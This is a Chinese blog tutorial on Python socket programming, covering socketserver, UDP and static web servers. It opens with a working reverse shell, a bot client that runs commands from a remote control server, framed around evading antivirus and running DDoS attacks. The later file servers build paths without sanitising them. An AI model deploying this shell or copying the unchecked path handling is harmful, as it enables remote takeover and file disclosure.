万物互联之~网络编程加强篇

 

加强篇

1.引入

ShellCode

上节写了个端口扫描器,这次写个ShellCode回顾下上节内容

肉鸡端:

#!/usr/bin/env python3
import sys
import subprocess
from socket import socket

def exec(cmd):
    try:
        process = subprocess.Popen([cmd],
                                   stdin=subprocess.PIPE,
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE)
        return process.communicate()
    except Exception as ex:
        print(ex)

def main():
    # 不写死是防止远程服务器被封后就失效
    ip = "192.168.1.109" or sys.argv[1]
    with socket() as tcp_socket:
        # 连接远控服务器
        tcp_socket.connect((ip, 8080))
        while True:
            data = tcp_socket.recv(2048)
            if data:
                cmd = data.decode("utf-8")
                stdout, stderr = exec(cmd)
                if stderr:
                    tcp_socket.send(stderr)
                if stdout:
                    tcp_socket.send(stdout)

if __name__ == "__main__":
    main()

服务端:

from socket import socket

def main():
    with socket() as tcp_socket:
        tcp_socket.bind(('', 8080))
        tcp_socket.listen()
        client_socket, client_addr = tcp_socket.accept()
        with client_socket:
            print(f"[肉鸡{client_addr}已经上线:]
")
            while True:
                cmd = input("$ ")
                client_socket.send(cmd.encode("utf-8"))
                data = client_socket.recv(2048)
                if data:
                    print(data.decode("utf-8"))

if __name__ == "__main__":
    main()

演示效果: 1.shell_code.gif

可能有人会说,肉鸡设置为Server,自己远控登录貌似更简单吧?但是有没有想过:

  1. 客户端越复杂,那么被查杀的可能就越大
  2. 如果你肉鸡无数,现在需要DDOS某站。你是全部连接并发送指令方便,还是直接一条指令全部执行方便?

课后拓展:

如何创建反向Shell来执行远程Root命令
http://os.51cto.com/art/201312/424378.htm

扩展

  1. 获取网站的IP:
    • socket.gethostbyname("网站URL")
  2. 返回主机的真实主机名,别名列表和IP地址列表
    • socket.gethostbyname_ex

2.更便捷的服务端实现方法

上节留下了一个悬念:有没有更方便的方式来实现服务端?这次揭晓一下:

Python底层其实基于Select实现了一套SocketServer,下面来看看:(现在大部分都是epollaio

SocketServer官方图示以及一些常用方法:

+------------+
        | BaseServer |
        +------------+
              |
              v
        +-----------+        +------------------+
        | TCPServer |------->| UnixStreamServer |
        +-----------+        +------------------+
              |
              v
        +-----------+        +--------------------+
        | UDPServer |------->| UnixDatagramServer |
        +-----------+        +--------------------+


__all__ = ["BaseServer", "TCPServer", "UDPServer",
           "ThreadingUDPServer", "RequestHandler",
           "BaseRequestHandler", "StreamRequestHandler",
           "DatagramRequestHandler", "ThreadingMixIn"]

TCP

基础案例

Python全部封装好了,只要继承下BaseRequestHandler自己定义一下handle处理方法即可:

from socketserver import BaseRequestHandler, TCPServer

class MyHandler(BaseRequestHandler):
    def handle(self):
        print(f"[来自{self.client_address}的消息:]
")
        data = self.request.recv(2048)
        if data:
            print(data.decode("utf-8"))
        self.request.send(b'HTTP/1.1 200 ok

<h1>TCP Server Test</h1>')

def main():
    with TCPServer(('', 8080), MyHandler) as server:
        server.serve_forever()  # 期待服务器并执行自定义的Handler方法
        # 不启动也可以使用client_socket, client_address = server.get_request()来自定义处理

if __name__ == "__main__":
    main()

效果如下: 1.tcpserver.gif

扩展案例

换个处理器也是很方便的事情,比如这个类文件IO的案例:

SocketServer.StreamRequestHandler中对客户端发过来的数据是用rfile属性来处理的,rfile是一个类file对象.有缓冲.可以按行分次读取;发往客户端的数据通过wfile属性来处理,wfile不缓冲数据,对客户端发送的数据需一次性写入.

服务器:

from time import sleep
from socketserver import TCPServer, StreamRequestHandler

class MyHandler(StreamRequestHandler):
    def handle(self):
        print(f"[来自{self.client_address}的消息:]
")
        # 接受来自客户端的IO流( 类似于打开IO,等待对方写)
        # self.rfile = self.request.makefile('rb', self.rbufsize)
        for line in self.rfile:  # 阻塞等
            print(f"接受到的数据:{line}")
            # 发送给客户端(类似于写给对方)
            self.wfile.write(line)
            sleep(0.2)  # 为了演示方便而加

def main():
    with TCPServer(('', 8080), MyHandler) as server:
        server.serve_forever()

if __name__ == "__main__":
    main()

客户端:

from time import sleep
from socket import socket, SOL_SOCKET, SO_REUSEADDR

def main():
    with socket() as tcp_socket:
        tcp_socket.connect(('', 8080))
        with open("1.tcp.py", "rb") as fs:
            while True:
                data = fs.readline()
                if data:
                    tcp_socket.send(data)
                else:
                    break
        while True:
            data = tcp_socket.recv(2048)
            if data:
                print(data.decode("utf-8"))
                sleep(0.2)  # 为了演示方便而加

if __name__ == "__main__":
    main()

输出:(一行一行显示出来) 1.streamtest

其实还可以通过设置其他的类变量来支持一些新的特性:

import socket
from socketserver import TCPServer, StreamRequestHandler

class MyHandler(StreamRequestHandler):
    # 可选设置(下面的是默认值)
    timeout = 5  # 所有socket超时时间
    rbufsize = -1  # 读缓冲区大小
    wbufsize = 0  # 写缓冲区大小
    disable_nagle_algorithm = False  # 设置TCP无延迟选项

    def handle(self):
        print(f"[来自{self.client_address}的消息:]
")
        # 接受来自客户端的IO流(类似于打开IO,等待对方写)
        try:
            for line in self.rfile:  # 阻塞等
                print(f"接受到的数据:{line}")
                # 发送给客户端(类似于写给对方)
                self.wfile.write(line)
        except socket.timeout as ex:
            print("---" * 10, "网络超时", "---" * 10)
            print(ex)
            print("---" * 10, "网络超时", "---" * 10)

def main():
    with TCPServer(('', 8080), MyHandler) as server:
        server.serve_forever()

if __name__ == "__main__":
    main()

效果: 1.stream_ext.png

业余拓展:

http://a564941464.iteye.com/blog/1170464
https://www.cnblogs.com/txwsqk/articles/2909546.html
https://blog.csdn.net/tycoon1988/article/details/39990403
https://hg.python.org/cpython/file/tip/Lib/socketserver.py

加强案例

上面说的方法是最基础的,也是单线程的,对于现在这个高并发的时代肯定是吃不消的,那有没有并发模式的呢?

先结合以前并发编程来个案例:(改成多进程也行,Nginx就是多进程的)

from multiprocessing.dummy import threading
from socketserver import TCPServer, BaseRequestHandler

class MyHandler(BaseRequestHandler):
    def handle(self):
        print(f"[来自{self.client_address}的消息:]
")
        data = self.request.recv(2048)
        if data:
            print(data.decode("utf-8"))
        self.request.send(
            "HTTP/1.1 200 ok

<h1>TCP Server</h1>".encode("utf-8"))

if __name__ == "__main__":
    with TCPServer(('', 8080), MyHandler) as server:
        for _ in range(10):  # 指定线程数
            t = threading.Thread(target=server.serve_forever)
            t.setDaemon(True)
            t.start()
        server.serve_forever()

使用Python封装的方法:(还记得开头贴的一些方法名和类名吗?__all__ = [...]

多线程版:(变TCPServerThreadingTCPServer

from socketserver import ThreadingTCPServer, BaseRequestHandler

class MyHandler(BaseRequestHandler):
    def handle(self):
        print(f"[来自{self.client_address}的消息:]
")
        data = self.request.recv(2048)
        if data:
            print(data.decode("utf-8"))
        self.request.send(
            "HTTP/1.1 200 ok

<h1>TCP Server Threading</h1>".encode("utf-8"))

if __name__ == "__main__":
    with ThreadingTCPServer(('', 8080), MyHandler) as server:
        server.serve_forever()

多进程版:(变TCPServerForkingTCPServer

from socketserver import ForkingTCPServer, BaseRequestHandler

class MyHandler(BaseRequestHandler):
    def handle(self):
        print(f"[来自{self.client_address}的消息:]
")
        data = self.request.recv(2048)
        if data:
            print(data.decode("utf-8"))
        self.request.send(
            "HTTP/1.1 200 ok

<h1>TCP Server Forking</h1>".encode("utf-8"))

if __name__ == "__main__":
    with ForkingTCPServer(('', 8080), MyHandler) as server:
        server.serve_forever()

虽然简单了,但是有一个注意点:

使用fork或线程服务器有个潜在问题就是它们会为每个客户端连接创建一个新的进程或线程。 由于客户端连接数是没有限制的,DDOS可能就需要注意了

如果你担心这个问题,你可以创建一个预先分配大小的工作线程池或进程池。你先创建一个普通的非线程服务器,然后在一个线程池中使用serve_forever()方法来启动它们(也就是我们一开始结合并发编程举的例子

UDP

UDP的就简单提一下,来看个简单案例:

服务器:

from socketserver import UDPServer, BaseRequestHandler

class MyHandler(BaseRequestHandler):
    def handle(self):
        print(f"[来自{self.client_address}的消息:]
")
        data, socket = self.request
        with socket:
            if data:
                print(data.decode("utf-8"))
            socket.sendto("行啊,小张晚上我请你吃~".encode("utf-8"), self.client_address)

def main():
    with UDPServer(('', 8080), MyHandler) as server:
        server.serve_forever()

if __name__ == "__main__":
    main()

客户端:

from socket import socket, AF_INET, SOCK_DGRAM

def main():
    with socket(AF_INET, SOCK_DGRAM) as udp_socket:
        udp_socket.sendto("小明,今晚去喝碗羊肉汤?".encode("utf-8"), ('', 8080))
        data, addr = udp_socket.recvfrom(1024)
        print(f"[来自{addr}的消息:]
")
        if data:
            print(data.decode("utf-8"))

if __name__ == "__main__":
    main()

演示:(想要多线程或者多进程就自己改下名字即可,很简单) 1.udpserver.gif


手写服务器

上面使用了Python帮我们封装的服务器,现在手写一个简单版的Server

from socket import socket

def main():
    with socket() as tcp_socket:
        # 绑定端口
        tcp_socket.bind(('', 8080))
        # 监听
        tcp_socket.listen()
        # 等待
        client_socket, client_address = tcp_socket.accept()
        # 收发数据
        with client_socket:
            print(f"[来自{client_address}的消息:
")
            msg = client_socket.recv(2048)
            if msg:
                print(msg.decode("utf-8"))
            client_socket.send(
                """HTTP/1.1 200 ok
Content-Type: text/html;charset=utf-8

<h1>哈哈哈</h1>"""
                .encode("utf-8"))

if __name__ == "__main__":
    main()

服务器响应:(请求头就靠 来分隔了) 1.test.png

浏览器请求:(charset=utf-81.test_server.png

扩展:Linux端口被占用的解决

参考文章:Linux端口被占用的解决(附Python专版)

手写版解决

from socket import socket, SOL_SOCKET, SO_REUSEADDR

def main():
    with socket() as tcp_socket:
        # 防止端口占用
        tcp_socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        # 绑定端口
        tcp_socket.bind(('', 8080))
        # 监听
        tcp_socket.listen()
        # 等待
        client_socket, client_address = tcp_socket.accept()
        # 收发消息
        with client_socket:
            print(f"[来自{client_address}的消息:
")
            msg = client_socket.recv(2048)
            if msg:
                print(msg.decode("utf-8"))
            client_socket.send(
                """HTTP/1.1 200 ok
Content-Type: text/html;charset=utf-8

<h1>哈哈哈</h1>"""
                .encode("utf-8"))

if __name__ == "__main__":
    main()

服务器版解决

from socket import SOL_SOCKET, SO_REUSEADDR
from socketserver import ThreadingTCPServer, BaseRequestHandler

class MyHandler(BaseRequestHandler):
    def handle(self):
        print(f"[来自{self.client_address}的消息:]")
        data = self.request.recv(2048)
        print(data)
        self.request.send(
            "HTTP/1.1 200 ok
Content-Type: text/html;charset=utf-8

<h1>小明,晚上吃鱼汤吗?</h1>"
            .encode("utf-8"))

def main():
    # bind_and_activate=False 手动绑定和激活
    with ThreadingTCPServer(('', 8080), MyHandler, False) as server:
        # 防止端口占用
        server.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        server.server_bind()  # 自己绑定
        server.server_activate()  # 自己激活
        server.serve_forever()

if __name__ == "__main__":
    main()

解决前: 1.server_port_error.gif

解决后: 1.server_port.gif

这个就涉及到TCP4次挥手相关的内容了,如果不是长连接,你先断开客户端,再断开服务端就不会遇到这个问题了,具体问题下次继续探讨~

简化扩展(推荐)

虽然简化了,但有时候也会出现端口占用的情况(很少出现

from socket import SOL_SOCKET, SO_REUSEADDR
from socketserver import ThreadingTCPServer, BaseRequestHandler

class MyHandler(BaseRequestHandler):
    def handle(self):
        print(f"[来自{self.client_address}的消息:]")
        data = self.request.recv(2048)
        print(data)
        self.request.send(
            "HTTP/1.1 200 ok
Content-Type: text/html;charset=utf-8

<h1>小明,晚上吃鱼汤吗?</h1>"
            .encode("utf-8"))

def main():
    # 防止端口占用
    ThreadingTCPServer.allow_reuse_address = True
    with ThreadingTCPServer(('', 8080), MyHandler) as server:
        server.serve_forever()

if __name__ == "__main__":
    main()

源码比较简单,一看就懂:

def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True):
    BaseServer.__init__(self, server_address, RequestHandlerClass)
    self.socket = socket.socket(self.address_family,
                                self.socket_type)
    if bind_and_activate:
        try:
            # 看这
            self.server_bind()
            self.server_activate()
        except:
            self.server_close()
            raise

def server_bind(self):
    # 看这
    if self.allow_reuse_address:
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    self.socket.bind(self.server_address)
    self.server_address = self.socket.getsockname()

下级预估:Linux 5种 IO模型(这边的Select也是其中的一种)

 

3.Web服务器

上节回顾

借着SocketServer的灵感,再结合OOP,来一个简单案例:

import socket

class WebServer(object):
    def __init__(self):
        with socket.socket() as tcp_socket:
            # 防止端口占用
            tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            # 绑定端口
            tcp_socket.bind(('', 8080))
            # 监听
            tcp_socket.listen()
            # 等待客户端连接
            while True:
                self.client_socket, self.client_addr = tcp_socket.accept()
                self.handle()

    def handle(self):
        with self.client_socket:
            print(f"[来自{self.client_addr}的消息:")
            data = self.client_socket.recv(2048)
            if data:
                print(data.decode("utf-8"))
                self.client_socket.send(
                    b"HTTP/1.1 200 ok
Content-Type: text/html;charset=utf-8

<h1>Web Server Test</h1>"
                )

if __name__ == "__main__":
    WebServer()

效果: 2.webserver.png

下面就自己手写几种服务器并测试一下,先贴结果再细看

JMeter压测

安装:sudo apt install jmeter

配置说明

使用三步走:

  1. 模拟用户,设置请求页面
    • 2.模拟用户设置请求页面.gif
  2. 设置监控内容
    • 2.设置监控内容.gif
  3. 运行并查看结果
    • 2.运行并查看结果.gif

额外说下开始的配置: 2.测试1.png 2.测试2.png

结果

对上面服务器简单测试下:(实际结果只会比我老电脑性能高) 3.多进程.png 3.socketserver 3.多线程.png 3.协程.png

自带版静态服务器

import os
import re
import socketserver

class MyHandler(socketserver.BaseRequestHandler):
    # 处理请求
    def handle(self):
        with self.request:
            print(f"[来自{self.client_address}的消息:")
            data = self.request.recv(2048)
            if data:
                msg, _ = data.decode("utf-8").split("
", 1)
                self.respose(msg)

    # 相应浏览器
    def respose(self, msg):
        # GET (/xxx.html) HTTP/1.1
        # 不匹配开头结尾也行:re.match("[^/]+(/[^ ]*).+", msg)
        filename = "/index.html"
        ret = re.match("^[^/]+(/[^ ]*).+$", msg)
        if ret:
            page = ret.group(1)  # 请求页面
            if not page == "/":
                filename = page

        # 获取本地文件
        data = self.read_file(filename)
        # 回复浏览器
        self.request.send(
            b"HTTP/1.1 200 ok
Content-Type: text/html;charset=utf-8

"
        )
        self.request.send(data)

    # 获取本地文件内容
    def read_file(self, filename):
        print("请求页面:", filename)
        path = f"./root{filename}"
        # 没有这个文件就定位到404页面
        if not os.path.exists(path):
            path = "./root/404.html"
        print("本地路径:", path)
        # 读取页面并返回
        with open(path, "rb") as fs:
            return fs.read()

if __name__ == "__main__":
    socketserver.ThreadingTCPServer.allow_reuse_address = True
    with socketserver.ThreadingTCPServer(('', 8080), MyHandler) as server:
        server.serve_forever()

多进程版静态服务器

import os
import re
import socket
from multiprocessing import Process

class WebServer(object):
    def __init__(self):
        with socket.socket() as tcp_socket:
            # 防止端口占用
            tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            # 绑定端口
            tcp_socket.bind(('', 8080))
            # 监听
            tcp_socket.listen()
            # 等待客户端连接
            while True:
                self.client_socket, self.client_addr = tcp_socket.accept()
                t = Process(target=self.handle)
                t.daemon = True
                t.run()

    # 处理请求
    def handle(self):
        with self.client_socket:
            print(f"[来自{self.client_addr}的消息:")
            data = self.client_socket.recv(2048)
            if data:
                msg, _ = data.decode("utf-8").split("
", 1)
                self.respose(msg)

    # 相应浏览器
    def respose(self, msg):
        # GET (/xxx.html) HTTP/1.1
        # 不匹配开头结尾也行:re.match("[^/]+(/[^ ]*).+", msg)
        filename = "/index.html"
        ret = re.match("^[^/]+(/[^ ]*).+$", msg)
        if ret:
            page = ret.group(1)  # 请求页面
            if not page == "/":
                filename = page

        # 获取本地文件
        data = self.read_file(filename)
        # 回复浏览器
        self.client_socket.send(
            b"HTTP/1.1 200 ok
Content-Type: text/html;charset=utf-8

"
        )
        self.client_socket.send(data)

    # 获取本地文件内容
    def read_file(self, filename):
        print("请求页面:", filename)
        path = f"./root{filename}"
        # 没有这个文件就定位到404页面
        if not os.path.exists(path):
            path = "./root/404.html"
        print("本地路径:", path)
        # 读取页面并返回
        with open(path, "rb") as fs:
            return fs.read()

if __name__ == "__main__":
    WebServer()

多线程版静态服务器

之前有讲过multiprocessing.dummyProcess其实是基于线程的,就不再重复了

来个多线程版的:(其实就把multiprocessing.dummy换成了multiprocessing)

import os
import re
import socket
from multiprocessing.dummy import Process

class WebServer(object):
    def __init__(self):
        with socket.socket() as tcp_socket:
            # 防止端口占用
            tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            # 绑定端口
            tcp_socket.bind(('', 8080))
            # 监听
            tcp_socket.listen()
            # 等待客户端连接
            while True:
                self.client_socket, self.client_addr = tcp_socket.accept()
                t = Process(target=self.handle)
                t.daemon = True
                t.run()

    # 处理请求
    def handle(self):
        with self.client_socket:
            print(f"[来自{self.client_addr}的消息:")
            data = self.client_socket.recv(2048)
            if data:
                msg, _ = data.decode("utf-8").split("
", 1)
                self.respose(msg)

    # 相应浏览器
    def respose(self, msg):
        # GET (/xxx.html) HTTP/1.1
        # 不匹配开头结尾也行:re.match("[^/]+(/[^ ]*).+", msg)
        filename = "/index.html"
        ret = re.match("^[^/]+(/[^ ]*).+$", msg)
        if ret:
            page = ret.group(1)  # 请求页面
            if not page == "/":
                filename = page

        # 获取本地文件
        data = self.read_file(filename)
        # 回复浏览器
        self.client_socket.send(
            b"HTTP/1.1 200 ok
Content-Type: text/html;charset=utf-8

"
        )
        self.client_socket.send(data)

    # 获取本地文件内容
    def read_file(self, filename):
        print("请求页面:", filename)
        path = f"./root{filename}"
        # 没有这个文件就定位到404页面
        if not os.path.exists(path):
            path = "./root/404.html"
        print("本地路径:", path)
        # 读取页面并返回
        with open(path, "rb") as fs:
            return fs.read()

if __name__ == "__main__":
    WebServer()

演示图示: 2.webserver2.gif

协程版静态服务器

这个比较简单,并发编程中的协程篇有讲,这边简单说下:

  1. import gevent
  2. from gevent import monkey
    • monkey不在__all__中,需要自己导入
  3. monkey.patch_all()打个补丁
  4. gevent.spawn(方法名,参数)
import os
import re
import socket
import gevent
from gevent import monkey  # monkey不在__all__中,需要自己导入

# 》》》看这
monkey.patch_all()  # 打补丁

class WebServer(object):
    def __init__(self):
        with socket.socket() as tcp_socket:
            # 防止端口占用
            tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            # 绑定端口
            tcp_socket.bind(('', 8080))
            # 监听
            tcp_socket.listen()
            # 等待客户端连接
            while True:
                self.client_socket, self.client_addr = tcp_socket.accept()
                # 》》》看这
                t = gevent.spawn(self.handle)
                t.daemon = True
                t.run()

    # 处理请求
    def handle(self):
        with self.client_socket:
            print(f"[来自{self.client_addr}的消息:")
            data = self.client_socket.recv(2048)
            if data:
                msg, _ = data.decode("utf-8").split("
", 1)
                self.respose(msg)

    # 相应浏览器
    def respose(self, msg):
        # GET (/xxx.html) HTTP/1.1
        # 不匹配开头结尾也行:re.match("[^/]+(/[^ ]*).+", msg)
        filename = "/index.html"
        ret = re.match("^[^/]+(/[^ ]*).+$", msg)
        if ret:
            page = ret.group(1)  # 请求页面
            if not page == "/":
                filename = page

        # 获取本地文件
        data = self.read_file(filename)
        # 回复浏览器
        self.client_socket.send(
            b"HTTP/1.1 200 ok
Content-Type: text/html;charset=utf-8

"
        )
        self.client_socket.send(data)

    # 获取本地文件内容
    def read_file(self, filename):
        print("请求页面:", filename)
        path = f"./root{filename}"
        # 没有这个文件就定位到404页面
        if not os.path.exists(path):
            path = "./root/404.html"
        print("本地路径:", path)
        # 读取页面并返回
        with open(path, "rb") as fs:
            return fs.read()

if __name__ == "__main__":
    WebServer()

下次会进入网络的深入篇

原文地址:https://www.cnblogs.com/dotnetcrazy/p/10022242.html